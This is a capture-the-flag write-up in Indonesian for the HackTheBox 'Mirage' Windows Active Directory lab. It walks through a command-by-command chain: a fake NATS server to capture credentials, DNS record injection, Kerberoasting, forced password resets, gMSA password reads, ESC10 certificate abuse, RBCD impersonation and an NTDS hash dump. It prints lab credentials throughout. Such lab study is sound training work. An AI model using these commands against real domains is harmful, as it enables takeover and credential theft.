
๐ Daftar Isi
- Informasi Umum Machine
- Enumeration
- Eksploitasi
- Privilege Escalation
- Root Flag
- Kesimpulan
- Writeup Lainnya
1. Informasi Umum Machine
Machine ini merupakan bagian dari lab HackTheBox Mirage Windows Hard, dengan banyak fokus pada skenario enterprise Active Directory. Dalam writeup HTB Mirage ini, kita akan membahas bagaimana menyalahgunakan layanan seperti NFS, Kerberos, serta eksploitasi sertifikat Windows.
- Nama Machine: Mirage
- IP Target:
10.10.11.78 - OS: Windows
- Tingkat Kesulitan: Hard
- Kategori: Active Directory, NFS, Kerberos, LDAP, ESC10
2. Enumeration
Langkah pertama untuk menyelesaikan HackTheBox Mirage Windows Hard adalah melakukan scanning dengan Nmap.
๐ Nmap
nmap -sC -sV -Pn -oN nmap.txt 10.10.11.78
Port Penting:
- 53/tcp - DNS
- 88/tcp - Kerberos
- 389/tcp - LDAP
- 445/tcp - SMB
- 2049/tcp - NFS
- 5985/tcp - WinRM
- 4222/tcp - NATS
๐งญ Enumerasi NFS
showmount -e 10.10.11.78
# Output: /MirageReports (everyone)
mkdir /tmp/mirage
sudo mount -t nfs 10.10.11.78:/MirageReports /tmp/mirage
ls /tmp/mirage
Dari folder NFS ini, kita mendapatkan dua file PDF internal yang sangat penting untuk Mirage NFS Kerberos exploit, yaitu:
Incident_Report_Missing_DNS_Record_nats-svc.pdfMirage_Authentication_Hardening_Report.pdf
Isi PDF mengindikasikan adanya potensi eksploitasi nats-svc.mirage.htb via DNS spoofing/responder.
3. Eksploitasi
Langkah penting untuk Mirage NFS Kerberos exploit dimulai dengan menambahkan entri DNS dan memancing koneksi ke server NATS palsu.
๐งช Menyusun Responder lewat Fake NATS Server
1. Edit DNS Lokal:
echo "10.10.11.78 nats-svc.mirage.htb" | sudo tee -a /etc/hosts
2. Update DNS via nsupdate:
nsupdate
> server 10.10.11.78
> update add nats-svc.mirage.htb 3600 A <tun0_IP_kamu>
> send
3. Jalankan Fake NATS Server:
# fake_server.py
import socket
print("[+] Fake NATS Server listening on 0.0.0.0:4222")
s = socket.socket()
s.bind(("0.0.0.0", 4222))
s.listen(5)
while True:
client, addr = s.accept()
print(f"[+] Connection from {addr}")
client.sendall(b'INFO {"server_id":"FAKE","version":"2.11.0","auth_required":true}\r\n')
data = client.recv(1024)
print("[>] Received:")
print(data.decode())
client.close()
python3 fake_server.py
Hasil kredensial berhasil didapatkan:Dev_Account_A:hx5h7F5554fP@1337!
๐งฌ Interaksi NATS dengan nats-cli
nats context add dev-nats \
--server nats://dc01.mirage.htb:4222 \
--user Dev_Account_A \
--password 'hx5h7F5554fP@1337!' \
--description "Dev access"
nats --context dev-nats sub ">" --count 10
ditemukan password kedua david.jjackson:pN8kQmn6b86!1234@
๐ง Enumerasi LDAP
nxc ldap 10.10.11.78 -u david.jjackson -p 'pN8kQmn6b86!1234@' --users
Ditemukan user: nathan.aadam, mark.bbond, javier.mmarshall, svc_mirage
๐ SPN Enumeration
impacket-GetUserSPNs 'mirage.htb/david.jjackson' -dc-host dc01.mirage.htb -k -request
Ditemukan SPN dari nathan.aadam. Simpan hasil hash, lalu brute-force:
hashcat -m 13100 nathan.hash /usr/share/wordlists/rockyou.txt --show
Output:
nathan.aadam:3edc#EDC3
4. Privilege Escalation
๐ Registry Disclosure - mark.bbond
Setelah akses shell via evil-winrm, temukan credential:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Output:
DefaultUserName: mark.bbond
DefaultPassword: 1day@atime
๐งจ Force Reset Password dengan bloodyAD
bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' set password JAVIER.MMARSHALL 'Abc123456@'
Aktifkan user jika dinonaktifkan:
bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u 'mark.bbond' -p '1day@atime' remove uac JAVIER.MMARSHALL -f ACCOUNTDISABLE
๐ง Get msDS-ManagedPassword
bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u 'javier.mmarshall' -p 'Abc123456@' get object 'Mirage-Service$' --attr msDS-ManagedPassword
Hash NTLM Mirage-Service ditemukan.
๐ ESC10 Exploit โ Certificate Mapping Attack
Step 1 โ UPN Injection:
certipy-ad account update \
-user 'mark.bbond' \
-upn 'dc01$@mirage.htb' \
-u 'mirage-service$@mirage.htb' \
-k -no-pass \
-dc-ip 10.10.11.78 \
-target dc01.mirage.htb
Step 2 โ Request Certificate:
certipy-ad req \
-u 'mark.bbond@mirage.htb' \
-k -no-pass \
-dc-ip 10.10.11.78 \
-target dc01.mirage.htb \
-ca 'mirage-DC01-CA' \
-template 'User'
Step 3 โ Revert UPN:
certipy-ad account update \
-user 'mark.bbond' \
-upn 'mark.bbond@mirage.htb' \
-u 'mirage-service$@mirage.htb' \
-k -no-pass \
-dc-ip 10.10.11.78 \
-target dc01.mirage.htb
Step 4 โ Auth via Cert & Set RBCD:
bashSalinEditcertipy-ad auth -pfx dc01.pfx -dc-ip 10.10.11.78 -ldap-shell
# Dalam shell:
set_rbcd dc01$ Mirage-Service$
5. Root Flag
๐ฏ Impersonasi Administrator
impacket-getST -spn 'cifs/DC01.mirage.htb' -impersonate 'dc01$' \
-dc-ip 10.10.11.78 \
'mirage.htb/Mirage-Service$' -hashes :<ntlm_hash>
๐ช Akses shell sebagai Administrator
export KRB5CCNAME='dc01$@cifs_DC01.mirage.htb@MIRAGE.HTB.ccache'
evil-winrm -i dc01.mirage.htb
๐ Dump Semua Hash:
nxc smb dc01.mirage.htb -k --use-kcache --ntds
6. Kesimpulan
Writeup HTB Mirage ini menggambarkan bagaimana memanfaatkan kombinasi NFS leak, Kerberos abuse, dan Windows certificate abuse (ESC10).
Melalui tahapan-tahapan eksploitasi dalam HackTheBox Mirage Windows Hard, kita belajar bagaimana teknik chaining antar layanan dapat membuka celah privilege escalation. Salah satu kunci dari keberhasilan Mirage NFS Kerberos exploit adalah penyalahgunaan konfigurasi internal dan CA policy yang longgar.
๐ Teknik penting:
- NFS Leak & PDF Analysis
- DNS Spoofing + Fake NATS Server
- Kerberos TGT/SPN Abuse
- BloodHound & RBCD
- ESC10 dengan Certipy
